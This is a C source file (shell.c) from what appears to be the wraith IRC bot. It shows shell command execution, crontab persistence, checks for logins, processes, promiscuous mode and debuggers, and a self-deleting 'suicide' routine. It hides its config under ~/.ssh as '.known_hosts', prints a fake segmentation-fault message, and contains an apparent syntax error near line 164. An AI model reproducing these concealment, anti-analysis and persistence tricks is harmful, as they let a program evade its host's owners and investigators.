shell.c 26 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072
  1. /*
  2. * shell.c -- handles:
  3. *
  4. * All shell related functions
  5. * -shell_exec()
  6. * -botconfig parsing
  7. * -check_*()
  8. * -crontab functions
  9. *
  10. */
  11. #include "common.h"
  12. #include "shell.h"
  13. #include "cfg.h"
  14. #include "flags.h"
  15. #include "tandem.h"
  16. #include "main.h"
  17. #include "dccutil.h"
  18. #include "modules.h"
  19. #include "misc.h"
  20. #include "misc_file.h"
  21. #include "bg.h"
  22. #include "stat.h"
  23. #include "users.h"
  24. #include <sys/types.h>
  25. #include <pwd.h>
  26. #include <signal.h>
  27. #ifdef S_ANTITRACE
  28. #include <sys/ptrace.h>
  29. #include <sys/wait.h>
  30. #endif /* S_ANTITRACE */
  31. #include <sys/utsname.h>
  32. #include <pwd.h>
  33. #include <errno.h>
  34. #include <net/if.h>
  35. #include <sys/ioctl.h>
  36. #include <sys/socket.h>
  37. #include <libgen.h>
  38. #include <ctype.h>
  39. #include <fcntl.h>
  40. #include <sys/stat.h>
  41. #include <unistd.h>
  42. #include <dirent.h>
  43. extern struct cfg_entry CFG_LOGIN, CFG_BADPROCESS, CFG_PROCESSLIST, CFG_PROMISC,
  44. CFG_TRACE, CFG_HIJACK;
  45. extern char tempdir[], *binname, owneremail[], userfile[];
  46. extern time_t now;
  47. extern struct userrec *userlist;
  48. extern uid_t myuid;
  49. extern conf_t conf;
  50. int clear_tmp()
  51. {
  52. DIR *tmp = NULL;
  53. struct dirent *dir_ent = NULL;
  54. if (!(tmp = opendir(tempdir))) return 1;
  55. while ((dir_ent = readdir(tmp))) {
  56. if (strncmp(dir_ent->d_name, ".pid.", 4) && strncmp(dir_ent->d_name, ".u", 2) && strcmp(dir_ent->d_name, ".bin.old")
  57. && strcmp(dir_ent->d_name, ".") && strcmp(dir_ent->d_name, ".un") && strcmp(dir_ent->d_name, "..")) {
  58. char *file = NULL;
  59. file = calloc(1, strlen(dir_ent->d_name) + strlen(tempdir) + 1);
  60. strcat(file, tempdir);
  61. strcat(file, dir_ent->d_name);
  62. file[strlen(file)] = 0;
  63. sdprintf("clear_tmp: %s", file);
  64. unlink(file);
  65. free(file);
  66. }
  67. }
  68. closedir(tmp);
  69. return 0;
  70. }
  71. #ifdef LEAF
  72. void check_mypid()
  73. {
  74. if (getpid() != checkpid(conf.bot->nick, NULL)) {
  75. module_entry *me = NULL;
  76. fatal(STR("getpid() does not match pid in file. Possible cloned process, exiting.."), 1);
  77. if ((me = module_find("server", 0, 0))) {
  78. Function *func = me->funcs;
  79. (func[SERVER_NUKESERVER]) ("cloned process");
  80. }
  81. botnet_send_bye();
  82. exit(1);
  83. }
  84. }
  85. #endif /* LEAF */
  86. #ifdef S_LASTCHECK
  87. char last_buf[128] = "";
  88. #endif /* S_LASTCHECK */
  89. void check_last() {
  90. #ifdef S_LASTCHECK
  91. if (!strcmp((char *) CFG_LOGIN.ldata ? CFG_LOGIN.ldata : CFG_LOGIN.gdata ? CFG_LOGIN.gdata : "ignore", "ignore"))
  92. return;
  93. if (conf.username) {
  94. char *out = NULL, buf[50] = "";
  95. sprintf(buf, STR("last %s"), conf.username);
  96. if (shell_exec(buf, NULL, &out, NULL)) {
  97. if (out) {
  98. char *p = NULL;
  99. p = strchr(out, '\n');
  100. if (p)
  101. *p = 0;
  102. if (strlen(out) > 10) {
  103. if (last_buf[0]) {
  104. if (strncmp(last_buf, out, sizeof(last_buf))) {
  105. char *work = NULL;
  106. work = malloc(strlen(out) + 7 + 2 + 1);
  107. sprintf(work, "Login: %s", out);
  108. detected(DETECT_LOGIN, work);
  109. free(work);
  110. }
  111. }
  112. strncpyz(last_buf, out, sizeof(last_buf));
  113. }
  114. free(out);
  115. }
  116. }
  117. }
  118. #endif /* S_LASTCHECK */
  119. }
  120. void check_processes()
  121. {
  122. #ifdef S_PROCESSCHECK
  123. char *proclist = NULL, *out = NULL, *p = NULL, *np = NULL, *curp = NULL, buf[1024] = "", bin[128] = "";
  124. if (!strcmp((char *) CFG_BADPROCESS.ldata ? CFG_BADPROCESS.ldata : CFG_BADPROCESS.gdata ? CFG_BADPROCESS.gdata : "ignore", "ignore"))
  125. return;
  126. proclist = (char *) (CFG_PROCESSLIST.ldata && ((char *) CFG_PROCESSLIST.ldata)[0] ?
  127. CFG_PROCESSLIST.ldata : CFG_PROCESSLIST.gdata && ((char *) CFG_PROCESSLIST.gdata)[0] ? CFG_PROCESSLIST.gdata : NULL);
  128. if (!proclist)
  129. return;
  130. if (!shell_exec(STR("ps x"), NULL, &out, NULL))
  131. return;
  132. /* Get this binary's filename */
  133. strncpyz(buf, binname, sizeof(buf));
  134. p = strrchr(buf, '/');
  135. if (p) {
  136. p++;
  137. strncpyz(bin, p, sizeof(bin));
  138. } else {
  139. bin[0] = 0;
  140. }
  141. /* Fix up the "permitted processes" list */
  142. p = calloc(1, strlen(proclist) + strlen(bin) + 6);
  143. strcpy(p, proclist);
  144. strcat(p, " ");
  145. strcat(p, bin);
  146. strcat(p, " ");
  147. proclist = p;
  148. curp = out;
  149. while (curp) {
  150. np = strchr(curp, '\n');
  151. if (np)
  152. *np++ = 0;
  153. if (atoi(curp) > 0) {
  154. char *pid = NULL, *tty = NULL, *stat = NULL, *time = NULL, cmd[512] = "", line[2048] = "";
  155. strncpyz(line, curp, sizeof(line));
  156. /* it's a process line */
  157. /* Assuming format: pid tty stat time cmd */
  158. pid = newsplit(&curp);
  159. tty = newsplit(&curp);
  160. stat = newsplit(&curp);
  161. time = newsplit(&curp);
  162. strncpyz(cmd, curp, sizeof(cmd));
  163. /* skip any <defunct> procs "/bin/sh -c" crontab stuff and binname crontab stuff */
  164. if (!strstr(cmd, "<defunct>" && !strncmp(cmd, "/bin/sh -c", 10)
  165. && !strncmp(cmd, binname, strlen(binname))) {
  166. /* get rid of any args */
  167. if ((p = strchr(cmd, ' ')))
  168. *p = 0;
  169. /* remove [] or () */
  170. if (strlen(cmd)) {
  171. p = cmd + strlen(cmd) - 1;
  172. if (((cmd[0] == '(') && (*p == ')')) || ((cmd[0] == '[') && (*p == ']'))) {
  173. *p = 0;
  174. strcpy(buf, cmd + 1);
  175. strcpy(cmd, buf);
  176. }
  177. }
  178. /* remove path */
  179. if ((p = strrchr(cmd, '/'))) {
  180. p++;
  181. strcpy(buf, p);
  182. strcpy(cmd, buf);
  183. }
  184. /* skip "ps" */
  185. if (strcmp(cmd, "ps")) {
  186. /* see if proc's in permitted list */
  187. strcat(cmd, " ");
  188. if ((p = strstr(proclist, cmd))) {
  189. /* Remove from permitted list */
  190. while (*p != ' ')
  191. *p++ = 1;
  192. } else {
  193. char wrk[16384] = "";
  194. egg_snprintf(wrk, sizeof wrk, STR("Unexpected process: %s"), line);
  195. detected(DETECT_PROCESS, wrk);
  196. }
  197. }
  198. }
  199. }
  200. curp = np;
  201. }
  202. free(proclist);
  203. if (out)
  204. free(out);
  205. #endif /* S_PROCESSCHECK */
  206. }
  207. void check_promisc()
  208. {
  209. #ifdef S_PROMISC
  210. #ifdef SIOCGIFCONF
  211. struct ifreq ifreq, *ifr = NULL;
  212. struct ifconf ifcnf;
  213. char *cp = NULL, *cplim = NULL, buf[8192] = "";
  214. int sock;
  215. if (!strcmp((char *) CFG_PROMISC.ldata ? CFG_PROMISC.ldata : CFG_PROMISC.gdata ? CFG_PROMISC.gdata : "ignore", "ignore"))
  216. return;
  217. sock = socket(AF_INET, SOCK_STREAM, 0);
  218. ifcnf.ifc_len = 8191;
  219. ifcnf.ifc_buf = buf;
  220. if (ioctl(sock, SIOCGIFCONF, (char *) &ifcnf) < 0) {
  221. close(sock);
  222. return;
  223. }
  224. ifr = ifcnf.ifc_req;
  225. cplim = buf + ifcnf.ifc_len;
  226. for (cp = buf; cp < cplim; cp += sizeof(ifr->ifr_name) + sizeof(ifr->ifr_addr)) {
  227. ifr = (struct ifreq *) cp;
  228. ifreq = *ifr;
  229. if (!ioctl(sock, SIOCGIFFLAGS, (char *) &ifreq)) {
  230. if (ifreq.ifr_flags & IFF_PROMISC) {
  231. close(sock);
  232. detected(DETECT_PROMISC, STR("Detected promiscuous mode"));
  233. return;
  234. }
  235. }
  236. }
  237. close(sock);
  238. #endif /* SIOCGIFCONF */
  239. #endif /* S_PROMISC */
  240. }
  241. #ifdef S_ANTITRACE
  242. int traced = 0;
  243. static void got_trace(int z)
  244. {
  245. traced = 0;
  246. }
  247. #endif /* S_ANTITRACE */
  248. void check_trace()
  249. {
  250. #ifdef S_ANTITRACE
  251. int x, parent, i;
  252. struct sigaction sv, *oldsv = NULL;
  253. if (!strcmp((char *) CFG_TRACE.ldata ? CFG_TRACE.ldata : CFG_TRACE.gdata ? CFG_TRACE.gdata : "ignore", "ignore"))
  254. return;
  255. parent = getpid();
  256. #ifdef __linux__
  257. egg_bzero(&sv, sizeof(sv));
  258. sv.sa_handler = got_trace;
  259. sigemptyset(&sv.sa_mask);
  260. oldsv = NULL;
  261. sigaction(SIGTRAP, &sv, oldsv);
  262. traced = 1;
  263. asm("INT3");
  264. sigaction(SIGTRAP, oldsv, NULL);
  265. if (traced)
  266. detected(DETECT_TRACE, STR("I'm being traced!"));
  267. else {
  268. x = fork();
  269. if (x == -1)
  270. return;
  271. else if (x == 0) {
  272. i = ptrace(PTRACE_ATTACH, parent, 0, 0);
  273. if (i == (-1) && errno == EPERM)
  274. detected(DETECT_TRACE, STR("I'm being traced!"));
  275. else {
  276. waitpid(parent, &i, 0);
  277. kill(parent, SIGCHLD);
  278. ptrace(PTRACE_DETACH, parent, 0, 0);
  279. kill(parent, SIGCHLD);
  280. }
  281. exit(0);
  282. } else
  283. wait(&i);
  284. }
  285. #endif /* __linux__ */
  286. #ifdef __FreeBSD__
  287. x = fork();
  288. if (x == -1)
  289. return;
  290. else if (x == 0) {
  291. i = ptrace(PT_ATTACH, parent, 0, 0);
  292. if (i == (-1) && errno == EBUSY)
  293. detected(DETECT_TRACE, STR("I'm being traced"));
  294. else {
  295. wait(&i);
  296. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  297. kill(parent, SIGCHLD);
  298. wait(&i);
  299. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  300. wait(&i);
  301. }
  302. exit(0);
  303. } else
  304. waitpid(x, NULL, 0);
  305. #endif /* __FreeBSD__ */
  306. #ifdef __OpenBSD__
  307. x = fork();
  308. if (x == -1)
  309. return;
  310. else if (x == 0) {
  311. i = ptrace(PT_ATTACH, parent, 0, 0);
  312. if (i == (-1) && errno == EBUSY)
  313. detected(DETECT_TRACE, STR("I'm being traced"));
  314. else {
  315. wait(&i);
  316. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  317. kill(parent, SIGCHLD);
  318. wait(&i);
  319. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  320. wait(&i);
  321. }
  322. exit(0);
  323. } else
  324. waitpid(x, NULL, 0);
  325. #endif /* __OpenBSD__ */
  326. #endif /* S_ANTITRACE */
  327. }
  328. int shell_exec(char *cmdline, char *input, char **output, char **erroutput)
  329. {
  330. FILE *inpFile = NULL, *outFile = NULL, *errFile = NULL;
  331. char tmpfile[161] = "";
  332. int x, fd;
  333. int parent = getpid();
  334. if (!cmdline)
  335. return 0;
  336. /* Set up temp files */
  337. /* always use mkstemp() when handling temp filess! -dizz */
  338. sprintf(tmpfile, STR("%s.in-XXXXXX"), tempdir);
  339. if ((fd = mkstemp(tmpfile)) == -1 || (inpFile = fdopen(fd, "w+")) == NULL) {
  340. if (fd != -1) {
  341. unlink(tmpfile);
  342. close(fd);
  343. }
  344. putlog(LOG_ERRORS, "*" , STR("exec: Couldn't open '%s': %s"), tmpfile, strerror(errno));
  345. return 0;
  346. }
  347. unlink(tmpfile);
  348. if (input) {
  349. if (fwrite(input, 1, strlen(input), inpFile) != strlen(input)) {
  350. fclose(inpFile);
  351. putlog(LOG_ERRORS, "*", STR("exec: Couldn't write to '%s': %s"), tmpfile, strerror(errno));
  352. return 0;
  353. }
  354. fseek(inpFile, 0, SEEK_SET);
  355. }
  356. unlink(tmpfile);
  357. sprintf(tmpfile, STR("%s.err-XXXXXX"), tempdir);
  358. if ((fd = mkstemp(tmpfile)) == -1 || (errFile = fdopen(fd, "w+")) == NULL) {
  359. if (fd != -1) {
  360. unlink(tmpfile);
  361. close(fd);
  362. }
  363. putlog(LOG_ERRORS, "*", STR("exec: Couldn't open '%s': %s"), tmpfile, strerror(errno));
  364. return 0;
  365. }
  366. unlink(tmpfile);
  367. sprintf(tmpfile, STR("%s.out-XXXXXX"), tempdir);
  368. if ((fd = mkstemp(tmpfile)) == -1 || (outFile = fdopen(fd, "w+")) == NULL) {
  369. if (fd != -1) {
  370. unlink(tmpfile);
  371. close(fd);
  372. }
  373. putlog(LOG_ERRORS, "*", STR("exec: Couldn't open '%s': %s"), tmpfile, strerror(errno));
  374. return 0;
  375. }
  376. unlink(tmpfile);
  377. x = fork();
  378. if (x == -1) {
  379. putlog(LOG_ERRORS, "*", STR("exec: fork() failed: %s"), strerror(errno));
  380. fclose(inpFile);
  381. fclose(errFile);
  382. fclose(outFile);
  383. return 0;
  384. }
  385. if (x) {
  386. /* Parent: wait for the child to complete */
  387. int st = 0;
  388. waitpid(x, &st, 0);
  389. /* Now read the files into the buffers */
  390. fclose(inpFile);
  391. fflush(outFile);
  392. fflush(errFile);
  393. if (erroutput) {
  394. char *buf = NULL;
  395. int fs;
  396. fseek(errFile, 0, SEEK_END);
  397. fs = ftell(errFile);
  398. if (fs == 0) {
  399. (*erroutput) = NULL;
  400. } else {
  401. buf = calloc(1, fs + 1);
  402. fseek(errFile, 0, SEEK_SET);
  403. fread(buf, 1, fs, errFile);
  404. buf[fs] = 0;
  405. (*erroutput) = buf;
  406. }
  407. }
  408. fclose(errFile);
  409. if (output) {
  410. char *buf;
  411. int fs;
  412. fseek(outFile, 0, SEEK_END);
  413. fs = ftell(outFile);
  414. if (fs == 0) {
  415. (*output) = NULL;
  416. } else {
  417. buf = calloc(1, fs + 1);
  418. fseek(outFile, 0, SEEK_SET);
  419. fread(buf, 1, fs, outFile);
  420. buf[fs] = 0;
  421. (*output) = buf;
  422. }
  423. }
  424. fclose(outFile);
  425. return 1;
  426. } else {
  427. /* Child: make fd's and set them up as std* */
  428. int ind, outd, errd;
  429. char *argv[4] = { NULL, NULL, NULL, NULL };
  430. ind = fileno(inpFile);
  431. outd = fileno(outFile);
  432. errd = fileno(errFile);
  433. if (dup2(ind, STDIN_FILENO) == (-1)) {
  434. kill(parent, SIGCHLD);
  435. exit(1);
  436. }
  437. if (dup2(outd, STDOUT_FILENO) == (-1)) {
  438. kill(parent, SIGCHLD);
  439. exit(1);
  440. }
  441. if (dup2(errd, STDERR_FILENO) == (-1)) {
  442. kill(parent, SIGCHLD);
  443. exit(1);
  444. }
  445. argv[0] = "sh";
  446. argv[1] = "-c";
  447. argv[2] = cmdline;
  448. argv[3] = NULL;
  449. execvp(argv[0], &argv[0]);
  450. kill(parent, SIGCHLD);
  451. exit(1);
  452. }
  453. }
  454. void detected(int code, char *msg)
  455. {
  456. #ifdef LEAF
  457. module_entry *me = NULL;
  458. #endif /* LEAF */
  459. char *p = NULL, tmp[512] = "";
  460. struct userrec *u = NULL;
  461. struct flag_record fr = { FR_GLOBAL, 0, 0, 0, 0};
  462. int act;
  463. u = get_user_by_handle(userlist, conf.bot->nick);
  464. #ifdef S_LASTCHECK
  465. if (code == DETECT_LOGIN)
  466. p = (char *) (CFG_LOGIN.ldata ? CFG_LOGIN.ldata : (CFG_LOGIN.gdata ? CFG_LOGIN.gdata : NULL));
  467. #endif /* S_LASTCHECK */
  468. #ifdef S_ANTITRACE
  469. if (code == DETECT_TRACE)
  470. p = (char *) (CFG_TRACE.ldata ? CFG_TRACE.ldata : (CFG_TRACE.gdata ? CFG_TRACE.gdata : NULL));
  471. #endif /* S_ANTITRACE */
  472. #ifdef S_PROMISC
  473. if (code == DETECT_PROMISC)
  474. p = (char *) (CFG_PROMISC.ldata ? CFG_PROMISC.ldata : (CFG_PROMISC.gdata ? CFG_PROMISC.gdata : NULL));
  475. #endif /* S_PROMISC */
  476. #ifdef S_PROCESSCHECK
  477. if (code == DETECT_PROCESS)
  478. p = (char *) (CFG_BADPROCESS.ldata ? CFG_BADPROCESS.ldata : (CFG_BADPROCESS.gdata ? CFG_BADPROCESS.gdata : NULL));
  479. #endif /* S_PROMISC */
  480. #ifdef S_HIJACKCHECK
  481. if (code == DETECT_SIGCONT)
  482. p = (char *) (CFG_HIJACK.ldata ? CFG_HIJACK.ldata : (CFG_HIJACK.gdata ? CFG_HIJACK.gdata : NULL));
  483. #endif /* S_PROMISC */
  484. if (!p)
  485. act = DET_WARN;
  486. else if (!strcmp(p, STR("die")))
  487. act = DET_DIE;
  488. else if (!strcmp(p, STR("reject")))
  489. act = DET_REJECT;
  490. else if (!strcmp(p, STR("suicide")))
  491. act = DET_SUICIDE;
  492. else if (!strcmp(p, STR("ignore")))
  493. act = DET_IGNORE;
  494. else
  495. act = DET_WARN;
  496. switch (act) {
  497. case DET_IGNORE:
  498. break;
  499. case DET_WARN:
  500. putlog(LOG_WARN, "*", msg);
  501. break;
  502. case DET_REJECT:
  503. do_fork();
  504. putlog(LOG_WARN, "*", STR("Setting myself +d: %s"), msg);
  505. sprintf(tmp, STR("+d: %s"), msg);
  506. set_user(&USERENTRY_COMMENT, u, tmp);
  507. get_user_flagrec(u, &fr, 0);
  508. fr.global = USER_DEOP | USER_BOT;
  509. set_user_flagrec(u, &fr, 0);
  510. sleep(1);
  511. break;
  512. case DET_DIE:
  513. putlog(LOG_WARN, "*", STR("Dying: %s"), msg);
  514. sprintf(tmp, STR("Dying: %s"), msg);
  515. set_user(&USERENTRY_COMMENT, u, tmp);
  516. #ifdef LEAF
  517. if ((me = module_find("server", 0, 0))) {
  518. Function *func = me->funcs;
  519. (func[SERVER_NUKESERVER]) ("BBL");
  520. }
  521. #endif /* LEAF */
  522. sleep(1);
  523. fatal(msg, 0);
  524. break;
  525. case DET_SUICIDE:
  526. putlog(LOG_WARN, "*", STR("Comitting suicide: %s"), msg);
  527. sprintf(tmp, STR("Suicide: %s"), msg);
  528. set_user(&USERENTRY_COMMENT, u, tmp);
  529. #ifdef LEAF
  530. if ((me = module_find("server", 0, 0))) {
  531. Function *func = me->funcs;
  532. (func[SERVER_NUKESERVER]) ("HARAKIRI!!");
  533. }
  534. #endif /* LEAF */
  535. sleep(1);
  536. unlink(binname);
  537. #ifdef HUB
  538. unlink(userfile);
  539. sprintf(tmp, STR("%s~"), userfile);
  540. unlink(tmp);
  541. #endif /* HUB */
  542. fatal(msg, 0);
  543. break;
  544. }
  545. }
  546. char *werr_tostr(int errnum)
  547. {
  548. switch (errnum) {
  549. case ERR_BINSTAT:
  550. return STR("Cannot access binary");
  551. case ERR_BADPASS:
  552. return STR("Incorrect password");
  553. case ERR_BINMOD:
  554. return STR("Cannot chmod() binary");
  555. case ERR_PASSWD:
  556. return STR("Cannot access the global passwd file");
  557. case ERR_WRONGBINDIR:
  558. return STR("Wrong directory/binary name");
  559. case ERR_CONFSTAT:
  560. #ifdef LEAF
  561. return STR("Cannot access config directory (~/.ssh/)");
  562. #else
  563. return STR("Cannot access config directory (./)");
  564. #endif /* LEAF */
  565. case ERR_TMPSTAT:
  566. #ifdef LEAF
  567. return STR("Cannot access tmp directory (~/.ssh/.../)");
  568. #else
  569. return STR("Cannot access config directory (./tmp/)");
  570. #endif /* LEAF */
  571. case ERR_CONFDIRMOD:
  572. #ifdef LEAF
  573. return STR("Cannot chmod() config directory (~/.ssh/)");
  574. #else
  575. return STR("Cannot chmod() config directory (./)");
  576. #endif /* LEAF */
  577. case ERR_CONFMOD:
  578. #ifdef LEAF
  579. return STR("Cannot chmod() config (~/.ssh/.known_hosts/)");
  580. #else
  581. return STR("Cannot chmod() config (./conf)");
  582. #endif /* LEAF */
  583. case ERR_TMPMOD:
  584. #ifdef LEAF
  585. return STR("Cannot chmod() tmp directory (~/.ssh/.../)");
  586. #else
  587. return STR("Cannot chmod() tmp directory (./tmp)");
  588. #endif /* LEAF */
  589. case ERR_NOCONF:
  590. #ifdef LEAF
  591. return STR("The local config is missing (~/.ssh/.known_hosts)");
  592. #else
  593. return STR("The local config is missing (./conf)");
  594. #endif /* LEAF */
  595. case ERR_CONFBADENC:
  596. return STR("Encryption in config is wrong/corrupt");
  597. case ERR_WRONGUID:
  598. return STR("UID in conf does not match geteuid()");
  599. case ERR_WRONGUNAME:
  600. return STR("Uname in conf does not match uname()");
  601. case ERR_BADCONF:
  602. return STR("Config file is incomplete");
  603. case ERR_BADBOT:
  604. return STR("No such botnick");
  605. default:
  606. return STR("Unforseen error");
  607. }
  608. }
  609. void werr(int errnum)
  610. {
  611. putlog(LOG_MISC, "*", STR("error #%d"), errnum);
  612. sdprintf(STR("error translates to: %s"), werr_tostr(errnum));
  613. printf(STR("(segmentation fault)\n"));
  614. fatal("", 0);
  615. }
  616. int email(char *subject, char *msg, int who)
  617. {
  618. struct utsname un;
  619. char open[2048] = "", addrs[1024] = "";
  620. int mail = 0, sendmail = 0;
  621. FILE *f = NULL;
  622. uname(&un);
  623. if (is_file("/usr/sbin/sendmail"))
  624. sendmail++;
  625. else if (is_file("/usr/bin/mail"))
  626. mail++;
  627. else {
  628. putlog(LOG_WARN, "*", "I Have no usable mail client.");
  629. return 1;
  630. }
  631. if (who & EMAIL_OWNERS) {
  632. sprintf(addrs, "%s", replace(owneremail, ",", " "));
  633. }
  634. if (who & EMAIL_TEAM) {
  635. if (addrs[0])
  636. sprintf(addrs, "%s wraith@shatow.net", addrs);
  637. else
  638. sprintf(addrs, "wraith@shatow.net");
  639. }
  640. if (sendmail)
  641. sprintf(open, "/usr/sbin/sendmail -t");
  642. else if (mail)
  643. sprintf(open, "/usr/bin/mail %s -a \"From: %s@%s\" -s \"%s\" -a \"Content-Type: text/plain\"", addrs, conf.bot->nick ? conf.bot->nick : "none", un.nodename, subject);
  644. if ((f = popen(open, "w"))) {
  645. if (sendmail) {
  646. fprintf(f, "To: %s\n", addrs);
  647. fprintf(f, "From: %s@%s\n", conf.bot->nick ? conf.bot->nick : conf.username, un.nodename);
  648. fprintf(f, "Subject: %s\n", subject);
  649. fprintf(f, "Content-Type: text/plain\n");
  650. }
  651. fprintf(f, "%s\n", msg);
  652. if (fflush(f))
  653. return 1;
  654. if (pclose(f))
  655. return 1;
  656. } else
  657. return 1;
  658. return 0;
  659. }
  660. void baduname(char *confhas, char *my_uname) {
  661. char *tmpfile = NULL;
  662. int send = 0;
  663. tmpfile = malloc(strlen(tempdir) + 3 + 1);
  664. sprintf(tmpfile, "%s.un", tempdir);
  665. sdprintf("CHECKING %s", tmpfile);
  666. if (is_file(tmpfile)) {
  667. struct stat ss;
  668. time_t diff;
  669. stat(tmpfile, &ss);
  670. diff = now - ss.st_mtime;
  671. if (diff >= 86400) send++; /* only send once a day */
  672. } else {
  673. FILE *fp = NULL;
  674. if ((fp = fopen(tmpfile, "w"))) {
  675. fprintf(fp, "\n");
  676. fflush(fp);
  677. fclose(fp);
  678. send++; /* only send if we could write the file. */
  679. }
  680. }
  681. if (send) {
  682. struct utsname un;
  683. char msg[501] = "", subject[31] = "";
  684. uname(&un);
  685. egg_snprintf(subject, sizeof subject, "CONF/UNAME() mismatch notice");
  686. egg_snprintf(msg, sizeof msg, "This is an auto email from a wraith bot which has you in it's OWNER_EMAIL list..\n \nThe uname() output on this box has changed, probably due to a kernel upgrade...\nMy login is: %s\nConf : %s\nUname(): %s\n \nThis email will only be sent once a day while this error is present.\nYou need to login to my shell (%s) and fix my local config.\n", conf.username, confhas, my_uname, un.nodename);
  687. email(subject, msg, EMAIL_OWNERS);
  688. }
  689. free(tmpfile);
  690. }
  691. char *homedir()
  692. {
  693. static char homedir[DIRMAX] = "";
  694. if (!homedir || (homedir && !homedir[0])) {
  695. char tmp[DIRMAX] = "";
  696. if (conf.homedir)
  697. egg_snprintf(tmp, sizeof tmp, "%s", conf.homedir);
  698. else {
  699. struct passwd *pw = NULL;
  700. ContextNote("Calling getpwuid");
  701. pw = getpwuid(myuid);
  702. egg_snprintf(tmp, sizeof tmp, "%s", pw->pw_dir);
  703. }
  704. ContextNote("Calling realpath");
  705. realpath(tmp, homedir); /* this will convert lame home dirs of /home/blah->/usr/home/blah */
  706. }
  707. return homedir;
  708. }
  709. char *my_username()
  710. {
  711. static char username[DIRMAX] = "";
  712. if (!username || (username && !username[0])) {
  713. struct passwd *pw = NULL;
  714. ContextNote("Calling getpwuid");
  715. pw = getpwuid(myuid);
  716. egg_snprintf(username, sizeof username, "%s", pw->pw_name);
  717. }
  718. return username;
  719. }
  720. char *confdir()
  721. {
  722. static char confdir[DIRMAX] = "";
  723. if (!confdir || (confdir && !confdir[0])) {
  724. #ifdef LEAF
  725. {
  726. egg_snprintf(confdir, sizeof confdir, "%s/.ssh", homedir());
  727. }
  728. #endif /* LEAF */
  729. #ifdef HUB
  730. {
  731. char *buf = NULL;
  732. buf = strdup(binname);
  733. egg_snprintf(confdir, sizeof confdir, "%s", dirname(buf));
  734. free(buf);
  735. }
  736. #endif /* HUB */
  737. }
  738. return confdir;
  739. }
  740. char *my_uname()
  741. {
  742. static char os_uname[250] = "";
  743. if (!os_uname || (os_uname && !os_uname[0])) {
  744. char *unix_n = NULL, *vers_n = NULL;
  745. struct utsname un;
  746. if (uname(&un) < 0) {
  747. unix_n = "*unkown*";
  748. vers_n = "";
  749. } else {
  750. unix_n = un.nodename;
  751. #ifdef __FreeBSD__
  752. vers_n = un.release;
  753. #else /* __linux__ */
  754. vers_n = un.version;
  755. #endif /* __FreeBSD__ */
  756. }
  757. egg_snprintf(os_uname, sizeof os_uname, "%s %s", unix_n, vers_n);
  758. }
  759. return os_uname;
  760. }
  761. void check_crontab()
  762. {
  763. int i = 0;
  764. #ifdef LEAF
  765. if (!conf.bot->localhub)
  766. fatal(STR("something is wrong."), 0);
  767. #endif /* LEAF */
  768. if (!(i = crontab_exists())) {
  769. crontab_create(5);
  770. if (!(i = crontab_exists()))
  771. printf(STR("* Error writing crontab entry.\n"));
  772. }
  773. }
  774. void crontab_del() {
  775. char *tmpfile = NULL, *p = NULL, buf[2048] = "";
  776. tmpfile = malloc(strlen(binname) + 100);
  777. strcpy(tmpfile, binname);
  778. if (!(p = strrchr(tmpfile, '/')))
  779. return;
  780. p++;
  781. strcpy(p, ".ctb");
  782. sprintf(buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\" > %s"), binname, tmpfile);
  783. if (shell_exec(buf, NULL, NULL, NULL)) {
  784. sprintf(buf, STR("crontab %s"), tmpfile);
  785. shell_exec(buf, NULL, NULL, NULL);
  786. }
  787. unlink(tmpfile);
  788. }
  789. int crontab_exists() {
  790. char buf[2048] = "", *out = NULL;
  791. egg_snprintf(buf, sizeof buf, STR("crontab -l | grep \"%s\" | grep -v \"^#\""), binname);
  792. if (shell_exec(buf, NULL, &out, NULL)) {
  793. if (out && strstr(out, binname)) {
  794. free(out);
  795. return 1;
  796. } else {
  797. if (out)
  798. free(out);
  799. return 0;
  800. }
  801. } else
  802. return (-1);
  803. }
  804. void crontab_create(int interval) {
  805. char tmpfile[161] = "", buf[256] = "";
  806. FILE *f = NULL;
  807. int fd;
  808. /* always use mkstemp() when handling temp files! -dizz */
  809. egg_snprintf(tmpfile, sizeof tmpfile, "%s.crontab-XXXXXX", tempdir);
  810. if ((fd = mkstemp(tmpfile)) == -1) {
  811. unlink(tmpfile);
  812. return;
  813. }
